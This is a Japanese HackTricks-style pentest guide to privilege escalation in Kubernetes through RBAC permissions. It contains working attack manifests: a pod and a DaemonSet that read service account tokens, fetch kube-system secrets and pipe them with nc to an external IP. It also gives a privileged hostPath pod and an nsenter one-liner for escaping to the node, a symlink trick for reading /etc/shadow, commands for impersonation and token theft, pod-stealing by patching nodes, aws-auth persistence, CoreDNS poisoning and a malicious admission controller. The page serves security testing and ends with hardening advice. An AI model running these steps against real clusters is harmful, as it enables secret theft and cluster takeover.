KubernetesにおけるRoles/ClusterRolesの悪用
Reading time: 43 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ここでは、潜在的に危険なRolesおよびClusterRolesの構成を見つけることができます。
kubectl api-resources
を使用して、サポートされているすべてのリソースを取得できることを忘れないでください。
特権昇格
異なる特権を持つ別のプリンシパルにアクセスする技術を指します(Kubernetesクラスター内または外部クラウドへのアクセス)。Kubernetesでは、特権を昇格させるための4つの主要な技術があります:
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/サービスアカウントをなりすますことができる
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つサービスアカウントを見つけたり、アタッチしたりすることができるポッドを作成/パッチ/実行できる
- サービスアカウントのトークンがシークレットとして保存されているため、シークレットを読むことができる
- コンテナからノードにエスケープできること、これによりノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる
- 言及に値する5番目の技術は、ポッド内でポートフォワードを実行する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。
任意のリソースまたは動詞へのアクセス(ワイルドカード)
ワイルドカード(*)は、任意の動詞を持つ任意のリソースに対する権限を与えます。これは管理者によって使用されます。ClusterRole内では、攻撃者がクラスター内の任意の名前空間を悪用できることを意味します。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
特定の動詞で任意のリソースにアクセスする
RBACでは、特定の権限が重大なリスクをもたらします:
create
: 任意のクラスターリソースを作成する能力を付与し、特権昇格のリスクを伴います。list
: すべてのリソースを一覧表示することを許可し、機密データが漏洩する可能性があります。get
: サービスアカウントからシークレットにアクセスすることを許可し、セキュリティの脅威をもたらします。
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
権限を持つ攻撃者がポッドを作成できる場合、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。実質的に権限を昇格させることになります。
bootstrap-signer
サービスアカウントのトークンを盗み、攻撃者に送信するポッドの例:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Podの作成とエスケープ
以下は、コンテナが持つことができるすべての権限を示しています:
- 特権アクセス(保護を無効にし、能力を設定する)
- namespace hostIPCおよびhostPidを無効にする これにより権限を昇格させることができます
- hostNetwork namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します
- ホストをコンテナ内にマウントする
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
ポッドを作成するには:
kubectl --token $token create -f mount_root.yaml
このツイートからのワンライナーといくつかの追加:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
今、ノードにエスケープできるようになったので、ポストエクスプロイト技術を確認してください。
ステルス
おそらく、あなたはステルス性を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にしてポッドを作成した場合にアクセスできる内容を確認できます。
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
前述の特権ポッド構成を作成/悪用する方法の例は https://github.com/BishopFox/badPods で見つけることができます。
ポッド作成 - クラウドに移動
ポッド(およびオプションでサービスアカウント)を作成できる場合、ポッドまたはサービスアカウントにクラウドロールを割り当てることによってクラウド環境で特権を取得できるかもしれません。そして、それにアクセスします。
さらに、ホストネットワーク名前空間を持つポッドを作成できる場合、ノードインスタンスのIAMロールを盗むことができます。
詳細については、次を確認してください:
デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、Cronジョブの作成/パッチ
これらの権限を悪用して、新しいポッドを作成し、前の例のように特権を確立することが可能です。
次のyamlはデーモンセットを作成し、ポッド内のSAのトークンを外部に送信します:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
は、ポッド内のシェルでコマンドを実行するために使用されるkubernetesのリソースです。これにより、コンテナ内でコマンドを実行したり、シェルに入ったりすることができます。
したがって、ポッドに入ってSAのトークンを盗んだり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んでノードを(悪用)することが可能です。
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
デフォルトでは、コマンドはポッドの最初のコンテナで実行されます。kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
を使用してコンテナ内のすべてのポッドを取得し、次にkubectl exec -it <pod_name> -c <container_name> -- sh
を使用して実行したいコンテナを指定します。
もしそれがディストロレスコンテナであれば、シェルビルトインを使用してコンテナの情報を取得したり、busyboxのような自分のツールをアップロードすることを試みることができます。使用方法は、**kubectl cp </path/local/file> <podname>:</path/in/container>
**です。
port-forward
この権限は、ローカルの1つのポートを指定されたポッドの1つのポートに転送することを許可します。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い(データベースなど)または脆弱なアプリケーション(ウェブなど)にアクセスする可能性があります。
kubectl port-forward pod/mypod 5000:5000
ホストの書き込み可能な /var/log/ エスケープ
この研究で示されているように、ホストの /var/log/
ディレクトリがマウントされたポッドにアクセスまたは作成できる場合、コンテナからエスケープすることができます。
これは基本的に、Kube-APIがコンテナのログを取得しようとする際(kubectl logs <pod>
を使用)、ポッドの 0.log
ファイルをKubeletサービスの /logs/
エンドポイントを使用してリクエストするためです。
Kubeletサービスは、基本的にコンテナの /var/log
ファイルシステムを公開する /logs/
エンドポイントを公開しています。
したがって、コンテナの /var/log/ フォルダーに書き込むアクセス権を持つ攻撃者は、この動作を2つの方法で悪用することができます:
- コンテナの
0.log
ファイル(通常は/var/logs/pods/namespace_pod_uid/container/0.log
にあります)を**/etc/shadow
を指すシンボリックリンク**に変更します。そうすれば、ホストのシャドウファイルをエクスフィルトレートすることができます:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- 攻撃者が
nodes/log
を読む権限を持つ任意のプリンシパルを制御している場合、彼は単に/host-mounted/var/log/sym
に/
への シンボリックリンク を作成し、https://<gateway>:10250/logs/sym/
にアクセスすることでホストのルート ファイルシステムをリスト表示することができます(シンボリックリンクを変更することでファイルへのアクセスが可能になります)。
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
実験室と自動化されたエクスプロイトは https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts で見つけることができます。
読み取り専用保護の回避
運が良ければ、高度な特権を持つ能力 CAP_SYS_ADMIN
が利用可能であれば、フォルダーをrwとして再マウントすることができます:
mount -o rw,remount /hostlogs/
hostPathのreadOnly保護を回避する
この研究に記載されているように、保護を回避することが可能です:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
以前のようなエスケープを防ぐために、hostPath マウントの代わりに PersistentVolume と PersistentVolumeClaim を使用して、書き込み可能なアクセスでコンテナ内にホストフォルダをマウントすることを意図していました。
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
特権アカウントのなりすまし
ユーザーのなりすましの権限を持つ攻撃者は、特権アカウントになりすますことができます。
kubectl
コマンドで --as=<username>
パラメータを使用してユーザーになりすますか、--as-group=<group>
を使用してグループになりすますだけです:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
またはREST APIを使用します:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Secretsのリスト
シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを可能にする可能性があります REST APIエンドポイントにアクセスすることで:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Secretsの作成と読み取り
kubernetes.io/service-account-tokenタイプのKubernetesシークレットの特別な種類があり、サービスアカウントトークンを保存します。
シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
例の悪用:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
注意してください。特定の名前空間でシークレットを作成および読み取ることが許可されている場合、被害者のサービスアカウントも同じ名前空間に存在する必要があります。
シークレットの読み取り – トークンIDのブルートフォース攻撃
読み取り権限を持つトークンを所持している攻撃者は、それを使用するためにシークレットの正確な名前が必要ですが、より広範な_シークレットのリスト表示_権限とは異なり、依然として脆弱性があります。システム内のデフォルトのサービスアカウントは列挙可能で、それぞれがシークレットに関連付けられています。これらのシークレットは、静的なプレフィックスの後にランダムな5文字の英数字トークン(特定の文字を除く)を持つ名前の構造を持っています。ソースコードによると。
トークンは、フルアルファベット範囲ではなく、限られた27文字のセット(bcdfghjklmnpqrstvwxz2456789
)から生成されます。この制限により、合計可能な組み合わせは14,348,907(27^5)に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密性の高いサービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。
EncrpytionConfigurationの平文
この種のオブジェクト内でデータを静止状態で暗号化するための平文キーを見つけることが可能です。
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
証明書署名要求
リソース certificatesigningrequests
に create
の動詞がある場合(または少なくとも certificatesigningrequests/nodeClient
に)。新しいノードの CeSR を 作成 できます。
ドキュメントによると、この要求を自動承認することが可能です、その場合は 追加の権限は必要ありません。そうでない場合は、要求を承認できる必要があり、これは certificatesigningrequests/approval
の更新と、リソース名 <signerNameDomain>/<signerNamePath>
または <signerNameDomain>/*
での signers
での承認を意味します。
必要なすべての権限を持つ ロールの例 は次のとおりです:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
新しいノードCSRが承認されたので、ノードの特別な権限を悪用して秘密を盗み、権限を昇格させることができます。
この投稿とこちらでは、GKE K8s TLSブートストラップ構成が自動署名で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後、秘密を盗むことで権限を昇格させるためにそれらを悪用します。
言及された権限を持っていれば、同じことができます。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避します。なぜなら、ノードは自分にマウントされたコンテナの秘密にしかアクセスできないからです。
これを回避する方法は、興味のある秘密がマウントされているコンテナのノード名のためにノード資格情報を作成することです(ただし、最初の投稿でそれを行う方法を確認してください):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
EKS クラスターの kube-system 名前空間で configmaps
を変更できるプリンシパルは、aws-auth configmap を上書きすることでクラスター管理者権限を取得できます。
必要な動詞は update
と patch
であり、configmap が作成されていない場合は create
です:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
aws-auth
を使用して、他のアカウントのユーザーにアクセスを提供することで持続性を確保できます。
しかし、aws --profile other_account eks update-kubeconfig --name <cluster-name>
は異なるアカウントからは機能しません。しかし実際には、aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
は、名前の代わりにクラスターのARNを指定すれば機能します。
kubectl
を機能させるには、被害者のkubeconfigを設定し、aws exec argsに--profile other_account_role
を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。
CoreDNS config map
kube-system
ネームスペース内の**coredns
configmap**を変更する権限がある場合、ドメインが解決されるアドレスを変更して、機密情報を盗むまたは悪意のあるコンテンツを注入するためのMitM攻撃を実行できます。
必要な動詞は、coredns
configmap(またはすべてのconfigmap)に対する**update
とpatch
**です。
通常のcorednsファイルには、次のような内容が含まれています:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
攻撃者は kubectl get configmap coredns -n kube-system -o yaml
を実行してダウンロードし、rewrite name victim.com attacker.com
のようなものを追加して修正することで、victim.com
にアクセスされると実際には attacker.com
がアクセスされるようにできます。そして、kubectl apply -f poison_dns.yaml
を実行して適用します。
別のオプションは、kubectl edit configmap coredns -n kube-system
を実行してファイルを編集し、変更を加えることです。
GKEでの権限昇格
GCPプリンシパルにK8s権限を割り当てる方法は2つあります。いずれの場合も、プリンシパルはクラスターにアクセスするための資格情報を取得するために container.clusters.get
の権限が必要です。そうでなければ、自分のkubectl設定ファイルを生成する必要があります(次のリンクを参照)。
warning
K8s APIエンドポイントに話しかけると、GCP認証トークンが送信されます。その後、GCPはK8s APIエンドポイントを通じて、最初にプリンシパル(メールアドレスによる)がクラスター内にアクセス権を持っているかどうかを確認し、次にGCP IAMを介してアクセス権を持っているかどうかを確認します。
もしいずれかが真であれば、応答が返されます。そうでなければ、GCP IAMを介して権限を与えることを提案するエラーが表示されます。
最初の方法はGCP IAMを使用することで、K8s権限には対応するGCP IAM権限があります。プリンシパルがそれを持っていれば、使用することができます。
2つ目の方法は、クラスター内でK8s権限を割り当てることで、ユーザーをそのメールで識別します(GCPサービスアカウントを含む)。
サービスアカウントトークンの作成
TokenRequests(serviceaccounts/token
)を作成できるプリンシパルは、K8s APIエンドポイントに話しかけるときにSAs(情報はこちら)です。
ephemeralcontainers
update
または patch
pods/ephemeralcontainers
を行うことができるプリンシパルは、他のポッドでコード実行を得ることができ、特権のあるsecurityContextを持つ一時的なコンテナを追加することでノードから抜け出す可能性があります。
ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations
validatingwebhookconfigurations
または mutatingwebhookconfigurations
に対して create
、update
、または patch
のいずれかの動詞を持つプリンシパルは、権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる可能性があります。
mutatingwebhookconfigurations
の例はこの投稿のこのセクションを確認してください。
昇格
次のセクションで読むことができるように: 組み込みの特権昇格防止、プリンシパルは自分自身がその新しい権限を持っていない限り、役割やクラスター役割を更新または作成することはできません。roles
または clusterroles
に対して escalate
または *
の動詞を持っている場合を除き、そしてそれに対応するバインディングオプションが必要です。
その場合、彼はより良い権限を持つ新しい役割やクラスター役割を更新/作成できます。
ノードプロキシ
nodes/proxy
サブリソースにアクセスできるプリンシパルは、Kubelet APIを介してポッドでコードを実行できます(こちらに従って)。Kubelet認証に関する詳細はこのページにあります:
Kubelet Authentication & Authorization
Kubelet APIに認可された状態でRCEを取得する方法の例はここにあります。
ポッドの削除 + スケジュールできないノード
ポッドを削除できるプリンシパル(pods
リソースに対するdelete
動詞)、またはポッドを追い出す(pods/eviction
リソースに対するcreate
動詞)、またはポッドの状態を変更できる(pods/status
へのアクセス)プリンシパルは、他のノードをスケジュールできないようにする(nodes/status
へのアクセス)またはノードを削除できる(nodes
リソースに対するdelete
動詞)場合、ポッドを制御している場合、他のノードからポッドを盗むことができ、そうすることで侵害された****ノードで実行され、攻撃者はそれらのポッドからトークンを盗むことができます。
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
サービスのステータス (CVE-2020-8554)
services/status
を 修正 できるプリンシパルは、status.loadBalancer.ingress.ip
フィールドを設定して 未修正の CVE-2020-8554 を悪用し、クラスターに対する MiTM 攻撃 を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです(これ による)。
ノードとポッドのステータス
nodes/status
または pods/status
に対して update
または patch
権限を持つプリンシパルは、スケジューリング制約に影響を与えるラベルを修正できます。
組み込みの特権昇格防止
Kubernetes には、特権昇格を防ぐための 組み込みメカニズム があります。
このシステムは、ユーザーが役割や役割バインディングを修正することによって特権を昇格させることができないことを保証します。このルールの施行は API レベルで行われ、RBAC 認可者が非アクティブな場合でも保護を提供します。
このルールは、ユーザーは役割を作成または更新するために、その役割が含むすべての権限を持っている必要があると規定しています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。
warning
前述のルールには例外があります。プリンシパルが roles
または clusterroles
に対して 動詞 escalate
を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。
RoleBindings/ClusterRoleBindings の取得とパッチ
caution
この技術は以前は機能していたようですが、私のテストによると、前のセクションで説明した理由でもはや機能していません。権限を持っていない場合、自分自身または別の SA に特権を与えるために rolebinding を作成/修正することはできません。
Rolebindings を作成する特権は、ユーザーが サービスアカウントに役割をバインドする ことを可能にします。この特権は、ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。
その他の攻撃
サイドカー プロキシ アプリ
デフォルトでは、ポッド間の通信に暗号化はありません。相互認証、双方向、ポッドからポッドへ。
サイドカー プロキシ アプリの作成
サイドカーコンテナは、ポッド内に2つ目(またはそれ以上)のコンテナを追加する ことから成ります。
例えば、以下は2つのコンテナを持つポッドの設定の一部です:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
既存のポッドに新しいコンテナをバックドアするには、仕様に新しいコンテナを追加するだけで済みます。第二のコンテナに対して、最初のコンテナが持たないより多くの権限を与えることができることに注意してください。
詳細は次を参照してください: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
悪意のあるアドミッションコントローラー
アドミッションコントローラーは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを傍受しますが、リクエストが認証され、承認された後です。
攻撃者が何らかの方法でミューテーションアドミッションコントローラーを注入することに成功すれば、すでに認証されたリクエストを変更することができます。これにより、潜在的に権限昇格が可能になり、より一般的にはクラスター内に持続することができます。
例は https://blog.rewanthtammana.com/creating-malicious-admission-controllers からです:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
準備ができているかどうかステータスを確認してください:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
次に、新しいポッドをデプロイします:
kubectl run nginx --image nginx
kubectl get po -w
ErrImagePull
エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
上の画像に示されているように、私たちはイメージ nginx
を実行しようとしましたが、最終的に実行されたイメージは rewanthtammana/malicious-image
です。何が起こったのでしょうか?
技術的詳細
./deploy.sh
スクリプトは、Kubernetes APIへのリクエストを指定された設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます。
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
上記のスニペットは、すべてのポッドの最初のコンテナイメージを rewanthtammana/malicious-image
に置き換えます。
OPA Gatekeeper バイパス
Kubernetes OPA Gatekeeper bypass
ベストプラクティス
サービスアカウントトークンの自動マウントを無効にする
- ポッドとサービスアカウント: デフォルトでは、ポッドはサービスアカウントトークンをマウントします。セキュリティを強化するために、Kubernetesはこの自動マウント機能を無効にすることを許可しています。
- 適用方法: Kubernetes バージョン 1.6 以降、サービスアカウントまたはポッドの設定で
automountServiceAccountToken: false
を設定します。
RoleBindings/ClusterRoleBindings における制限されたユーザー割り当て
- 選択的な含有: RoleBindings または ClusterRoleBindings に必要なユーザーのみを含めるようにします。定期的に監査し、関連性のないユーザーを削除して、厳格なセキュリティを維持します。
クラスター全体のロールよりも名前空間特有のロールを使用する
- ロールとクラスター ロール: クラスター全体に適用される ClusterRoles および ClusterRoleBindings よりも、名前空間特有の権限には Roles および RoleBindings を使用することを推奨します。このアプローチは、より細かい制御を提供し、権限の範囲を制限します。
自動化ツールを使用する
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
参考文献
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
